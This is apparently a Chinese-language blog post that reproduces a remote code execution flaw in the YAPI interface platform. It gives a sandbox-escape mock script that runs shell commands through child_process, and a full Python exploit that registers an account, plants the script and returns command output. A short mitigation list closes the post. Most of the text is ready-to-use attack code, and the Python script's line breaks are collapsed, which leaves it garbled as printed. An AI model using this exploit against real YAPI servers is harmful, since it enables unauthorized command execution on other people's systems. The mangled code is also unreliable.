本文主要是介绍YAPI接口管理平台RCE复现-附exp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
- 漏洞简介
- 影响版本
- 漏洞复现
- 手工验证
- EXP验证
- 漏洞防御
漏洞简介
YAPI是由去哪儿网移动架构组开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。
漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本的命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意JS代码。
影响版本
YAPI <= 1.9.2
漏洞复现
手工验证
1、注册账号
2、登录后新建项目
3、设置全局mock脚本及接口
JS代码如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls").toString()
4、添加接口
5、访问mock接口地址,命令执行成功
EXP验证
python yapi.py -u x.x.x.x -e whoami
代码如下:
# -*- coding: utf-8 -*-import jsonimport requests
import argparsegroup_id = ''
project_id = ''
catid = ''
flag=1def reg(gurl):global flagurl = gurl + "/api/user/reg"header = {'Content-Type': 'application/json;charset=utf-8'}data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc","username":"zxcc"}'rego = requests.post(url=url, headers=header, data=data)# print(rego.text)if str(400) in rego.text:flag = 0session = requests.Session()def login(gurl):url = gurl + "/api/user/login"header = {'Content-Type': 'application/json;charset=utf-8'}data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc"}'logingo = session.post(url=url, headers=header, data=data)# print(logingo.text)# print(session.__dict__)def add(gurl):global group_id, project_id, catidheader = {'Content-Type': 'application/json;charset=utf-8'}turl = gurl + "/api/group/get_mygroup"t1 = session.get(url=turl)group_id = json.loads(t1.text)['data']['_id']url1 = gurl + "/api/project/add"data1 = '{"name":"1","basepath":"/1","group_id":"' + str(group_id) + '","icon":"code-o","color":"green","project_type":"private"}'add1 = session.post(url=url1, headers=header, data=data1)turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10"t2 = session.get(url=turl2)project_id = json.loads(t2.text)['data']['list'][0]['_id']turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + ""t3 = session.get(url=turl3)catid = json.loads(t3.text)['data'][0]['_id']url2 = gurl + "/api/interface/add"data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}'# print(data1)add2 = session.post(url=url2, headers=header, data=data2)# print(add1.text)# print(add2.text)def run(gurl, exec):turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + ""t1 = session.get(url=turl)interface_id = json.loads(t1.text)['data']['list'][0]['_id']url = gurl + "/api/plugin/advmock/save"data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str(interface_id) + '''","mock_script":"const sandbox = this\\nconst ObjectConstructor = this.constructor\\nconst FunctionConstructor = ObjectConstructor.constructor\\nconst myfun = FunctionConstructor('return process')\\nconst process = myfun()\\nmockJson = process.mainModule.require(\\"child_process\\").execSync(\\"''' + exec + '''\\").toString()","enable":true}'''header = {'Content-Type': 'application/json;charset=utf-8'}cmd = session.post(url=url, data=data, headers=header)# print(cmd.text)result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1")print(result.text)if __name__ == '__main__':parser = argparse.ArgumentParser(description="Yapi RCE , need register mode open")parser.add_argument('-u', '--url')parser.add_argument('-e', '--exec', default='whoami & ifconfig || ipconfig')args = parser.parse_args()gurl = str(args.url).rstrip('/')exec = args.execif args.url :# print(gurl)reg(gurl)if flag:login(gurl)add(gurl)run(gurl, exec)else:print('Not support register !')else:print('Need The Target,please add -h / --help')# print(group_id, project_id, catid, '123')
漏洞防御
1、更改Yapi运行端口
2、使用Nginx对Yapi进行反向代理
3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。
4、关闭Yapi注册
5、关闭Yapi Mock
参考文章:
感谢Azeng师傅提供的EXP
参考微信公众号:星期五实验室
这篇关于YAPI接口管理平台RCE复现-附exp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!